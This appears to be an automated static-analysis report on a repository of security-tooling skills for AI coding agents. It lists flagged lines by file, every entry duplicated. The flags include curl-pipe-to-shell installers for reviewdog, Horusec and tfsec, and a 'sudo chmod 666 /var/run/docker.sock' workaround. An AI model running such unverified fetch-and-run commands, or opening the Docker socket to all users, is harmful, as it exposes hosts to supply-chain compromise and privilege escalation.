    - [Reviewdog Documentation](https://github.com/reviewdog/reviewdog)
  • Network accessline 381
    - [Reviewdog Documentation](https://github.com/reviewdog/reviewdog)
  • Network accessline 382
    - [Supported Tools and Formats](https://reviewdog.github.io/supported-tools)
  • Network accessline 382
    - [Supported Tools and Formats](https://reviewdog.github.io/supported-tools)
  • Network accessline 383
    - [GitHub Actions Integration](https://github.com/reviewdog/action-setup)
  • Network accessline 383
    - [GitHub Actions Integration](https://github.com/reviewdog/action-setup)
  • Network accessline 384
    - [OWASP Secure Coding Practices](https://owasp.org/www-project-secure-coding-practices-quick-reference-guide/)
  • Network accessline 384
    - [OWASP Secure Coding Practices](https://owasp.org/www-project-secure-coding-practices-quick-reference-guide/)
  • Network accessline 385
    - [CWE Top 25](https://cwe.mitre.org/top25/)
  • Network accessline 385
    - [CWE Top 25](https://cwe.mitre.org/top25/)

skills/secsdlc/reviewdog/assets/gitlab_ci_template.yml

  • Network accessline 10
    before_script:     - apk add --no-cache git curl     - |
  • Network accessline 10
    before_script:     - apk add --no-cache git curl     - |
  • Network accessline 11
    - apk add --no-cache git curl     - |       # Install reviewdog
  • Network accessline 11
    - apk add --no-cache git curl     - |       # Install reviewdog
  • Network accessline 12
    - |       # Install reviewdog       curl -sfL https://raw.githubusercontent.com/reviewdog/reviewdog/master/install.sh | sh -s -- -b /usr/local/bin
  • Network accessline 12
    - |       # Install reviewdog       curl -sfL https://raw.githubusercontent.com/reviewdog/reviewdog/master/install.sh | sh -s -- -b /usr/local/bin
  • Dangerous shell operationline 14
    curl -sfL https://raw.githubusercontent.com/reviewdog/reviewdog/master/install.sh | sh -s -- -b /usr/local/bin
  • Dangerous shell operationline 14
    curl -sfL https://raw.githubusercontent.com/reviewdog/reviewdog/master/install.sh | sh -s -- -b /usr/local/bin
  • Network accessline 14
    curl -sfL https://raw.githubusercontent.com/reviewdog/reviewdog/master/install.sh | sh -s -- -b /usr/local/bin
  • Network accessline 14
    curl -sfL https://raw.githubusercontent.com/reviewdog/reviewdog/master/install.sh | sh -s -- -b /usr/local/bin

skills/secsdlc/reviewdog/assets/pre_commit_config.yaml

  • Network accessline 68
    # Standard pre-commit hooks (optional, complement reviewdog)   - repo: https://github.com/pre-commit/pre-commit-hooks
  • Network accessline 68
    # Standard pre-commit hooks (optional, complement reviewdog)   - repo: https://github.com/pre-commit/pre-commit-hooks
  • Network accessline 69
    - repo: https://github.com/pre-commit/pre-commit-hooks
  • Network accessline 69
    - repo: https://github.com/pre-commit/pre-commit-hooks
  • Network accessline 80
    # Python code formatting (optional)   - repo: https://github.com/psf/black
  • Network accessline 80
    # Python code formatting (optional)   - repo: https://github.com/psf/black
  • Network accessline 81
    - repo: https://github.com/psf/black
  • Network accessline 81
    - repo: https://github.com/psf/black
  • Network accessline 87
    # Python import sorting (optional)   - repo: https://github.com/pycqa/isort
  • Network accessline 87
    # Python import sorting (optional)   - repo: https://github.com/pycqa/isort
  • Network accessline 88
    - repo: https://github.com/pycqa/isort
  • Network accessline 88
    - repo: https://github.com/pycqa/isort

skills/secsdlc/reviewdog/references/cwe_mapping.md

  • Dangerous shell operationline 83
    | B307 | CWE-78  | eval() usage |
  • Dangerous shell operationline 83
    | B307 | CWE-78  | eval() usage |
  • Network accessline 345
    - [CWE Top 25](https://cwe.mitre.org/top25/)
  • Network accessline 345
    - [CWE Top 25](https://cwe.mitre.org/top25/)
  • Network accessline 346
    - [CWE OWASP Top 10 Mapping](https://owasp.org/Top10/)
  • Network accessline 346
    - [CWE OWASP Top 10 Mapping](https://owasp.org/Top10/)
  • Network accessline 347
    - [CWE List](https://cwe.mitre.org/data/index.html)
  • Network accessline 347
    - [CWE List](https://cwe.mitre.org/data/index.html)
  • Network accessline 348
    - [CAPEC](https://capec.mitre.org/) - Attack patterns for CWEs
  • Network accessline 348
    - [CAPEC](https://capec.mitre.org/) - Attack patterns for CWEs

skills/secsdlc/reviewdog/references/reporter_formats.md

  • Access to secretsline 44
    [Credential-related source omitted]
  • Access to secretsline 44
    [Credential-related source omitted]
  • Access to secretsline 46
    [Credential-related source omitted]
  • Access to secretsline 46
    [Credential-related source omitted]
  • Network accessline 138
    [Credential-related source omitted]
  • Network accessline 138
    [Credential-related source omitted]
  • Access to secretsline 138
    [Credential-related source omitted]
  • Access to secretsline 138
    [Credential-related source omitted]
  • Network accessline 139
    export CI_API_V4_URL="https://gitlab.com/api/v4"
  • Network accessline 139
    export CI_API_V4_URL="https://gitlab.com/api/v4"
  • Access to secretsline 159
    [Credential-related source omitted]
  • Access to secretsline 159
    [Credential-related source omitted]
  • Network accessline 243
    export GERRIT_CHANGE_ID="I1234567890abcdef" export GERRIT_REVISION_ID="1" export GERRIT_ADDRESS="https://gerrit.example.com"
  • Network accessline 243
    export GERRIT_CHANGE_ID="I1234567890abcdef" export GERRIT_REVISION_ID="1" export GERRIT_ADDRESS="https://gerrit.example.com"
  • Network accessline 245
    export GERRIT_ADDRESS="https://gerrit.example.com"
  • Network accessline 245
    export GERRIT_ADDRESS="https://gerrit.example.com"
  • Network accessline 277
    "source": {     "name": "my-security-scanner",     "url": "https://github.com/example/scanner"
  • Network accessline 277
    "source": {     "name": "my-security-scanner",     "url": "https://github.com/example/scanner"
  • Network accessline 278
    "name": "my-security-scanner",     "url": "https://github.com/example/scanner"   },
  • Network accessline 278
    "name": "my-security-scanner",     "url": "https://github.com/example/scanner"   },
  • Network accessline 279
    "url": "https://github.com/example/scanner"
  • Network accessline 279
    "url": "https://github.com/example/scanner"
  • Network accessline 293
    "code": {         "value": "CWE-89",         "url": "https://cwe.mitre.org/data/definitions/89.html"
  • Network accessline 293
    "code": {         "value": "CWE-89",         "url": "https://cwe.mitre.org/data/definitions/89.html"
  • Network accessline 294
    "value": "CWE-89",         "url": "https://cwe.mitre.org/data/definitions/89.html"       },
  • Network accessline 294
    "value": "CWE-89",         "url": "https://cwe.mitre.org/data/definitions/89.html"       },
  • Network accessline 295
    "url": "https://cwe.mitre.org/data/definitions/89.html"
  • Network accessline 295
    "url": "https://cwe.mitre.org/data/definitions/89.html"
  • Network accessline 455
    - [Reviewdog Reporter Documentation](https://github.com/reviewdog/reviewdog#reporters)
  • Network accessline 455
    - [Reviewdog Reporter Documentation](https://github.com/reviewdog/reviewdog#reporters)
  • Network accessline 456
    - [rdjson Format Specification](https://github.com/reviewdog/reviewdog/tree/master/proto/rdf)
  • Network accessline 456
    - [rdjson Format Specification](https://github.com/reviewdog/reviewdog/tree/master/proto/rdf)
  • Network accessline 457
    - [SARIF Specification](https://docs.oasis-open.org/sarif/sarif/v2.1.0/sarif-v2.1.0.html)
  • Network accessline 457
    - [SARIF Specification](https://docs.oasis-open.org/sarif/sarif/v2.1.0/sarif-v2.1.0.html)

skills/secsdlc/reviewdog/references/supported_tools.md

  • Network accessline 419
    "source": {     "name": "custom-scanner",     "url": "https://example.com"
  • Network accessline 419
    "source": {     "name": "custom-scanner",     "url": "https://example.com"
  • Network accessline 420
    "name": "custom-scanner",     "url": "https://example.com"   },
  • Network accessline 420
    "name": "custom-scanner",     "url": "https://example.com"   },
  • Network accessline 421
    "url": "https://example.com"
  • Network accessline 421
    "url": "https://example.com"
  • Network accessline 433
    "code": {         "value": "CWE-89",         "url": "https://cwe.mitre.org/data/definitions/89.html"
  • Network accessline 433
    "code": {         "value": "CWE-89",         "url": "https://cwe.mitre.org/data/definitions/89.html"
  • Network accessline 434
    "value": "CWE-89",         "url": "https://cwe.mitre.org/data/definitions/89.html"       }
  • Network accessline 434
    "value": "CWE-89",         "url": "https://cwe.mitre.org/data/definitions/89.html"       }
  • Network accessline 435
    "url": "https://cwe.mitre.org/data/definitions/89.html"
  • Network accessline 435
    "url": "https://cwe.mitre.org/data/definitions/89.html"
  • Network accessline 451
    - [Reviewdog Supported Tools](https://reviewdog.github.io/supported-tools)
  • Network accessline 451
    - [Reviewdog Supported Tools](https://reviewdog.github.io/supported-tools)
  • Network accessline 452
    - [rdjson Format Specification](https://github.com/reviewdog/reviewdog/tree/master/proto/rdf)
  • Network accessline 452
    - [rdjson Format Specification](https://github.com/reviewdog/reviewdog/tree/master/proto/rdf)
  • Network accessline 453
    - [SARIF Format](https://sarifweb.azurewebsites.net/)
  • Network accessline 453
    - [SARIF Format](https://sarifweb.azurewebsites.net/)

skills/secsdlc/sast-horusec/SKILL.md

  • Network accessline 17
    tools: [docker, git] references:   - https://github.com/ZupIT/horusec
  • Network accessline 17
    tools: [docker, git] references:   - https://github.com/ZupIT/horusec
  • Network accessline 18
    references:   - https://github.com/ZupIT/horusec   - https://docs.horusec.io/
  • Network accessline 18
    references:   - https://github.com/ZupIT/horusec   - https://docs.horusec.io/
  • Network accessline 19
    - https://github.com/ZupIT/horusec
  • Network accessline 19
    - https://github.com/ZupIT/horusec
  • Network accessline 20
    - https://docs.horusec.io/
  • Network accessline 20
    - https://docs.horusec.io/
  • Dangerous shell operationline 256
    sudo chmod 666 /var/run/docker.sock
  • Dangerous shell operationline 256
    sudo chmod 666 /var/run/docker.sock
  • Dangerous shell operationline 257
    # Or run with sudo (not recommended for CI/CD)
  • Dangerous shell operationline 257
    # Or run with sudo (not recommended for CI/CD)
  • Network accessline 297
    # Linux curl -fsSL https://raw.githubusercontent.com/ZupIT/horusec/main/deployments/scripts/install.sh | bash
  • Network accessline 297
    # Linux curl -fsSL https://raw.githubusercontent.com/ZupIT/horusec/main/deployments/scripts/install.sh | bash
  • Dangerous shell operationline 298
    curl -fsSL https://raw.githubusercontent.com/ZupIT/horusec/main/deployments/scripts/install.sh | bash
  • Dangerous shell operationline 298
    curl -fsSL https://raw.githubusercontent.com/ZupIT/horusec/main/deployments/scripts/install.sh | bash
  • Network accessline 298
    curl -fsSL https://raw.githubusercontent.com/ZupIT/horusec/main/deployments/scripts/install.sh | bash
  • Network accessline 298
    curl -fsSL https://raw.githubusercontent.com/ZupIT/horusec/main/deployments/scripts/install.sh | bash
  • Network accessline 353
    - [Horusec GitHub Repository](https://github.com/ZupIT/horusec)
  • Network accessline 353
    - [Horusec GitHub Repository](https://github.com/ZupIT/horusec)
  • Network accessline 354
    - [Horusec Documentation](https://docs.horusec.io/)
  • Network accessline 354
    - [Horusec Documentation](https://docs.horusec.io/)
  • Network accessline 355
    - [OWASP Top 10](https://owasp.org/Top10/)
  • Network accessline 355
    - [OWASP Top 10](https://owasp.org/Top10/)
  • Network accessline 356
    - [CWE - Common Weakness Enumeration](https://cwe.mitre.org/)
  • Network accessline 356
    - [CWE - Common Weakness Enumeration](https://cwe.mitre.org/)

skills/secsdlc/sast-horusec/assets/ci-config-template.yml

  • Network accessline 238
    if: hashFiles('**/*.tf') != ''         run: |           curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
  • Network accessline 238
    if: hashFiles('**/*.tf') != ''         run: |           curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
  • Network accessline 239
    run: |           curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash           tfsec . \
  • Network accessline 239
    run: |           curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash           tfsec . \
  • Dangerous shell operationline 240
    curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
  • Dangerous shell operationline 240
    curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
  • Network accessline 240
    curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
  • Network accessline 240
    curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash

skills/secsdlc/sast-horusec/assets/rule-template.yaml

  • Network accessline 41
    # References       references:         - "https://owasp.org/www-community/attacks/SQL_Injection"
  • Network accessline 41
    # References       references:         - "https://owasp.org/www-community/attacks/SQL_Injection"
  • Network accessline 42
    references:         - "https://owasp.org/www-community/attacks/SQL_Injection"         - "https://cwe.mitre.org/data/definitions/89.html"
  • Network accessline 42
    references:         - "https://owasp.org/www-community/attacks/SQL_Injection"         - "https://cwe.mitre.org/data/definitions/89.html"
  • Network accessline 43
    - "https://owasp.org/www-community/attacks/SQL_Injection"
  • Network accessline 43
    - "https://owasp.org/www-community/attacks/SQL_Injection"
  • Network accessline 44
    - "https://cwe.mitre.org/data/definitions/89.html"
  • Network accessline 44
    - "https://cwe.mitre.org/data/definitions/89.html"
  • Network accessline 45
    - "https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html"
  • Network accessline 45
    - "https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html"
  • Network accessline 73
    See: https://owasp.org/www-community/attacks/SQL_Injection
  • Network accessline 73
    See: https://owasp.org/www-community/attacks/SQL_Injection
  • Network accessline 117
    references:         - "https://cwe.mitre.org/data/definitions/798.html"
  • Network accessline 117
    references:         - "https://cwe.mitre.org/data/definitions/798.html"
  • Network accessline 118
    - "https://cwe.mitre.org/data/definitions/798.html"
  • Network accessline 118
    - "https://cwe.mitre.org/data/definitions/798.html"
  • Network accessline 119
    - "https://owasp.org/www-community/vulnerabilities/Use_of_hard-coded_password"
  • Network accessline 119
    - "https://owasp.org/www-community/vulnerabilities/Use_of_hard-coded_password"
  • Access to secretsline 132
    [Credential-related source omitted]
  • Access to secretsline 132
    [Credential-related source omitted]
  • Access to secretsline 147
    [Credential-related source omitted]
  • Access to secretsline 147
    [Credential-related source omitted]
  • Access to secretsline 148
    [Credential-related source omitted]
  • Access to secretsline 148
    [Credential-related source omitted]
  • Network accessline 151
    See: https://cwe.mitre.org/data/definitions/798.html
  • Network accessline 151
    See: https://cwe.mitre.org/data/definitions/798.html
  • Access to secretsline 156
    [Credential-related source omitted]
  • Access to secretsline 156
    [Credential-related source omitted]
  • Access to secretsline 157
    [Credential-related source omitted]
  • Access to secretsline 157
    [Credential-related source omitted]
  • Access to secretsline 162
    [Credential-related source omitted]
  • Access to secretsline 162
    [Credential-related source omitted]
  • Access to secretsline 163
    [Credential-related source omitted]
  • Access to secretsline 163
    [Credential-related source omitted]
  • Access to secretsline 164
    [Credential-related source omitted]
  • Access to secretsline 164
    [Credential-related source omitted]
  • Access to secretsline 165
    [Credential-related source omitted]
  • Access to secretsline 165
    [Credential-related source omitted]
  • Network accessline 190
    references:         - "https://owasp.org/www-community/attacks/xss/"
  • Network accessline 190
    references:         - "https://owasp.org/www-community/attacks/xss/"
  • Network accessline 191
    - "https://owasp.org/www-community/attacks/xss/"
  • Network accessline 191
    - "https://owasp.org/www-community/attacks/xss/"
  • Network accessline 192
    - "https://cwe.mitre.org/data/definitions/79.html"
  • Network accessline 192
    - "https://cwe.mitre.org/data/definitions/79.html"
  • Network accessline 193
    - "https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html"
  • Network accessline 193
    - "https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html"
  • Network accessline 217
    See: https://owasp.org/www-community/attacks/xss/
  • Network accessline 217
    See: https://owasp.org/www-community/attacks/xss/
  • Network accessline 259
    references:         - "https://cwe.mitre.org/data/definitions/327.html"
  • Network accessline 259
    references:         - "https://cwe.mitre.org/data/definitions/327.html"
  • Network accessline 260
    - "https://cwe.mitre.org/data/definitions/327.html"
  • Network accessline 260
    - "https://cwe.mitre.org/data/definitions/327.html"
  • Network accessline 261
    - "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/"
  • Network accessline 261
    - "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/"
  • Network accessline 288
    See: https://cwe.mitre.org/data/definitions/327.html
  • Network accessline 288
    See: https://cwe.mitre.org/data/definitions/327.html

skills/secsdlc/sast-horusec/references/EXAMPLE.md

  • Access to secretsline 423
    [Credential-related source omitted]
  • Access to secretsline 423
    [Credential-related source omitted]
  • Access to secretsline 424
    [Credential-related source omitted]
  • Access to secretsline 424
    [Credential-related source omitted]
  • Access to secretsline 425
    [Credential-related source omitted]
  • Access to secretsline 425
    [Credential-related source omitted]
  • Access to secretsline 427
    [Credential-related source omitted]
  • Access to secretsline 427
    [Credential-related source omitted]
  • Access to secretsline 430
    [Credential-related source omitted]
  • Access to secretsline 430
    [Credential-related source omitted]
  • Access to secretsline 432
    [Credential-related source omitted]
  • Access to secretsline 432
    [Credential-related source omitted]
  • Access to secretsline 437
    [Credential-related source omitted]
  • Access to secretsline 437
    [Credential-related source omitted]
  • Access to secretsline 444
    [Credential-related source omitted]
  • Access to secretsline 444
    [Credential-related source omitted]

skills/secsdlc/sbom-syft/SKILL.md

  • Network accessline 17
    tools: [docker] references:   - https://github.com/anchore/syft
  • Network accessline 17
    tools: [docker] references:   - https://github.com/anchore/syft
  • Network accessline 18
    references:   - https://github.com/anchore/syft   - https://anchore.com/sbom/
  • Network accessline 18
    references:   - https://github.com/anchore/syft   - https://anchore.com/sbom/
  • Network accessline 19
    - https://github.com/anchore/syft
  • Network accessline 19
    - https://github.com/anchore/syft
  • Network accessline 20
    - https://anchore.com/sbom/
  • Network accessline 20
    - https://anchore.com/sbom/
  • Network accessline 135
    # Linux    wget https://github.com/sigstore/cosign/releases/latest/download/cosign-linux-amd64
  • Network accessline 135
    # Linux    wget https://github.com/sigstore/cosign/releases/latest/download/cosign-linux-amd64
  • Network accessline 136
    wget https://github.com/sigstore/cosign/releases/latest/download/cosign-linux-amd64
  • Network accessline 136
    wget https://github.com/sigstore/cosign/releases/latest/download/cosign-linux-amd64
  • Network accessline 487
    - [Syft GitHub Repository](https://github.com/anchore/syft)
  • Network accessline 487
    - [Syft GitHub Repository](https://github.com/anchore/syft)
  • Network accessline 488
    - [Anchore SBOM Documentation](https://anchore.com/sbom/)
  • Network accessline 488
    - [Anchore SBOM Documentation](https://anchore.com/sbom/)
  • Network accessline 489
    - [CycloneDX Specification](https://cyclonedx.org/)
  • Network accessline 489
    - [CycloneDX Specification](https://cyclonedx.org/)
  • Network accessline 490
    - [SPDX Specification](https://spdx.dev/)
  • Network accessline 490
    - [SPDX Specification](https://spdx.dev/)
  • Network accessline 491
    - [NIST Software Supply Chain Security](https://www.nist.gov/itl/executive-order-improving-nations-cybersecurity/software-supply-chain-security-guidance)
  • Network accessline 491
    - [NIST Software Supply Chain Security](https://www.nist.gov/itl/executive-order-improving-nations-cybersecurity/software-supply-chain-security-guidance)
  • Network accessline 492
    - [OWASP Software Component Verification Standard](https://owasp.org/www-project-software-component-verification-standard/)
  • Network accessline 492
    - [OWASP Software Component Verification Standard](https://owasp.org/www-project-software-component-verification-standard/)

skills/secsdlc/sbom-syft/assets/ci-config-template.yml

  • Network accessline 238
    if: hashFiles('**/*.tf') != ''         run: |           curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
  • Network accessline 238
    if: hashFiles('**/*.tf') != ''         run: |           curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
  • Network accessline 239
    run: |           curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash           tfsec . \
  • Network accessline 239
    run: |           curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash           tfsec . \
  • Dangerous shell operationline 240
    curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
  • Dangerous shell operationline 240
    curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
  • Network accessline 240
    curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
  • Network accessline 240
    curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash

skills/secsdlc/sbom-syft/assets/rule-template.yaml

  • Network accessline 41
    # References       references:         - "https://owasp.org/www-community/attacks/SQL_Injection"
  • Network accessline 41
    # References       references:         - "https://owasp.org/www-community/attacks/SQL_Injection"
  • Network accessline 42
    references:         - "https://owasp.org/www-community/attacks/SQL_Injection"         - "https://cwe.mitre.org/data/definitions/89.html"
  • Network accessline 42
    references:         - "https://owasp.org/www-community/attacks/SQL_Injection"         - "https://cwe.mitre.org/data/definitions/89.html"
  • Network accessline 43
    - "https://owasp.org/www-community/attacks/SQL_Injection"
  • Network accessline 43
    - "https://owasp.org/www-community/attacks/SQL_Injection"
  • Network accessline 44
    - "https://cwe.mitre.org/data/definitions/89.html"
  • Network accessline 44
    - "https://cwe.mitre.org/data/definitions/89.html"
  • Network accessline 45
    - "https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html"
  • Network accessline 45
    - "https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html"
  • Network accessline 73
    See: https://owasp.org/www-community/attacks/SQL_Injection
  • Network accessline 73
    See: https://owasp.org/www-community/attacks/SQL_Injection
  • Network accessline 117
    references:         - "https://cwe.mitre.org/data/definitions/798.html"
  • Network accessline 117
    references:         - "https://cwe.mitre.org/data/definitions/798.html"
  • Network accessline 118
    - "https://cwe.mitre.org/data/definitions/798.html"
  • Network accessline 118
    - "https://cwe.mitre.org/data/definitions/798.html"
  • Network accessline 119
    - "https://owasp.org/www-community/vulnerabilities/Use_of_hard-coded_password"
  • Network accessline 119
    - "https://owasp.org/www-community/vulnerabilities/Use_of_hard-coded_password"
  • Access to secretsline 132
    [Credential-related source omitted]
  • Access to secretsline 132
    [Credential-related source omitted]
  • Access to secretsline 147
    [Credential-related source omitted]
  • Access to secretsline 147
    [Credential-related source omitted]
  • Access to secretsline 148
    [Credential-related source omitted]
  • Access to secretsline 148
    [Credential-related source omitted]
  • Network accessline 151
    See: https://cwe.mitre.org/data/definitions/798.html
  • Network accessline 151
    See: https://cwe.mitre.org/data/definitions/798.html
  • Access to secretsline 156
    [Credential-related source omitted]
  • Access to secretsline 156
    [Credential-related source omitted]
  • Access to secretsline 157
    [Credential-related source omitted]
  • Access to secretsline 157
    [Credential-related source omitted]
  • Access to secretsline 162
    [Credential-related source omitted]
  • Access to secretsline 162
    [Credential-related source omitted]
  • Access to secretsline 163
    [Credential-related source omitted]
  • Access to secretsline 163
    [Credential-related source omitted]
  • Access to secretsline 164
    [Credential-related source omitted]
  • Access to secretsline 164
    [Credential-related source omitted]
  • Access to secretsline 165
    [Credential-related source omitted]
  • Access to secretsline 165
    [Credential-related source omitted]
  • Network accessline 190
    references:         - "https://owasp.org/www-community/attacks/xss/"
  • Network accessline 190
    references:         - "https://owasp.org/www-community/attacks/xss/"
  • Network accessline 191
    - "https://owasp.org/www-community/attacks/xss/"
  • Network accessline 191
    - "https://owasp.org/www-community/attacks/xss/"
  • Network accessline 192
    - "https://cwe.mitre.org/data/definitions/79.html"
  • Network accessline 192
    - "https://cwe.mitre.org/data/definitions/79.html"
  • Network accessline 193
    - "https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html"
  • Network accessline 193
    - "https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html"
  • Network accessline 217
    See: https://owasp.org/www-community/attacks/xss/
  • Network accessline 217
    See: https://owasp.org/www-community/attacks/xss/
  • Network accessline 259
    references:         - "https://cwe.mitre.org/data/definitions/327.html"
  • Network accessline 259
    references:         - "https://cwe.mitre.org/data/definitions/327.html"
  • Network accessline 260
    - "https://cwe.mitre.org/data/definitions/327.html"
  • Network accessline 260
    - "https://cwe.mitre.org/data/definitions/327.html"
  • Network accessline 261
    - "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/"
  • Network accessline 261
    - "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/"
  • Network accessline 288
    See: https://cwe.mitre.org/data/definitions/327.html
  • Network accessline 288
    See: https://cwe.mitre.org/data/definitions/327.html

skills/secsdlc/sbom-syft/references/EXAMPLE.md

  • Access to secretsline 423
    [Credential-related source omitted]
  • Access to secretsline 423
    [Credential-related source omitted]
  • Access to secretsline 424
    [Credential-related source omitted]
  • Access to secretsline 424
    [Credential-related source omitted]
  • Access to secretsline 425
    [Credential-related source omitted]
  • Access to secretsline 425
    [Credential-related source omitted]
  • Access to secretsline 427
    [Credential-related source omitted]
  • Access to secretsline 427
    [Credential-related source omitted]
  • Access to secretsline 430
    [Credential-related source omitted]
  • Access to secretsline 430
    [Credential-related source omitted]
  • Access to secretsline 432
    [Credential-related source omitted]
  • Access to secretsline 432
    [Credential-related source omitted]
  • Access to secretsline 437
    [Credential-related source omitted]
  • Access to secretsline 437
    [Credential-related source omitted]
  • Access to secretsline 444
    [Credential-related source omitted]
  • Access to secretsline 444
    [Credential-related source omitted]

skills/threatmodel/pytm/SKILL.md

  • Network accessline 19
    packages: [pytm, graphviz] references:   - https://github.com/izar/pytm
  • Network accessline 19
    packages: [pytm, graphviz] references:   - https://github.com/izar/pytm
  • Network accessline 20
    references:   - https://github.com/izar/pytm   - https://owasp.org/www-community/Threat_Modeling
  • Network accessline 20
    references:   - https://github.com/izar/pytm   - https://owasp.org/www-community/Threat_Modeling
  • Network accessline 21
    - https://github.com/izar/pytm
  • Network accessline 21
    - https://github.com/izar/pytm
  • Network accessline 22
    - https://owasp.org/www-community/Threat_Modeling
  • Network accessline 22
    - https://owasp.org/www-community/Threat_Modeling
  • Network accessline 23
    - https://www.microsoft.com/en-us/security/blog/2007/09/11/stride-chart/
  • Network accessline 23
    - https://www.microsoft.com/en-us/security/blog/2007/09/11/stride-chart/
  • Network accessline 24
    - https://attack.mitre.org/
  • Network accessline 24
    - https://attack.mitre.org/
  • Dangerous shell operationline 188
    sudo apt-get install -y graphviz
  • Dangerous shell operationline 188
    sudo apt-get install -y graphviz
  • Dangerous shell operationline 458
    sudo apt-get install graphviz  # Linux
  • Dangerous shell operationline 458
    sudo apt-get install graphviz  # Linux
  • Network accessline 569
    - [pytm GitHub Repository](https://github.com/izar/pytm)
  • Network accessline 569
    - [pytm GitHub Repository](https://github.com/izar/pytm)
  • Network accessline 570
    - [OWASP Threat Modeling](https://owasp.org/www-community/Threat_Modeling)
  • Network accessline 570
    - [OWASP Threat Modeling](https://owasp.org/www-community/Threat_Modeling)
  • Network accessline 571
    - [Microsoft STRIDE Methodology](https://www.microsoft.com/en-us/security/blog/2007/09/11/stride-chart/)
  • Network accessline 571
    - [Microsoft STRIDE Methodology](https://www.microsoft.com/en-us/security/blog/2007/09/11/stride-chart/)
  • Network accessline 572
    - [MITRE ATT&CK Framework](https://attack.mitre.org/)
  • Network accessline 572
    - [MITRE ATT&CK Framework](https://attack.mitre.org/)
  • Network accessline 573
    - [Threat Modeling Manifesto](https://www.threatmodelingmanifesto.org/)
  • Network accessline 573
    - [Threat Modeling Manifesto](https://www.threatmodelingmanifesto.org/)
  • Network accessline 574
    - [NIST 800-30: Risk Assessment](https://csrc.nist.gov/publications/detail/sp/800-30/rev-1/final)
  • Network accessline 574
    - [NIST 800-30: Risk Assessment](https://csrc.nist.gov/publications/detail/sp/800-30/rev-1/final)

How the signals fit together

Facts from a static read of the files at the pinned commit. They describe what the code does, not why.

Some files could not be read; the facts below still hold.

Signal confidence: 500 facts

and 450 more

Only the first 500 facts are listed.

Works with

Agent compatibility, from the files in this repository
AgentStatusEvidenceInstall to
Claude CodeNativeManifest .claude-plugin/marketplace.json.claude/skills/<skill-name>/
CodexCompatibleStandard SKILL.md skills/_template/SKILL.md.agents/skills/<skill-name>/
CursorCompatibleStandard SKILL.md skills/_template/SKILL.md.cursor/skills/<skill-name>/
Gemini CLICompatibleStandard SKILL.md skills/_template/SKILL.md.gemini/skills/<skill-name>/
GitHub CopilotCompatibleStandard SKILL.md skills/_template/SKILL.md.github/skills/<skill-name>/
OpenCodeCompatibleStandard SKILL.md skills/_template/SKILL.md.opencode/skills/<skill-name>/
  • Native The repository ships a manifest, folder or frontmatter field for this agent.
  • Compatible A standard SKILL.md that this agent can read.
  • Unknown No evidence either way.

Derived automatically from paths, manifests and frontmatter. Not tested on each agent.

You might also use

PrismorSec/prismor

Self-hosted runtime control plane for AI agents. Observe or HITL approve or Block rogue tool calls before it executes: secret leaks, prompt injection, supply chain etc in a local…

477GitHub stars

fortify/skills

AI agent skills for OpenText Fortify — SAST/DAST/SCA scanning, vulnerability triage, remediation, dependency upgrades, CI/CD integration, and FCLI workflows. Works with Claude Cod…

24GitHub stars

hashgraph-online/hol-guard

Open-source antivirus and firewall for AI agents: block risky tools, secret access, prompt injection, malicious packages, MCP servers, plugins, and skills at runtime.

1.1kGitHub stars

aeonfun/aeon

The most autonomous AI agent framework: runs unattended on GitHub Actions, self-healing skills, drives Claude Code, Grok, Codex & more. No approval loops. Configure once, forget f…

789GitHub stars

keyuchen21/agentic-engineering-handbook

The definitive OpenAI, Claude, MCP, Harness, Evals, and Production Agent Systems learning roadmap.

580GitHub stars

waybarrios/opencode-power-pack

55 rigorous skills for Claude Code, Codex, OpenCode 1 and 2, and Pi: code review, security audit, feature development, frontend design, MCP tools, Hugging Face ML/training, and mo…

551GitHub stars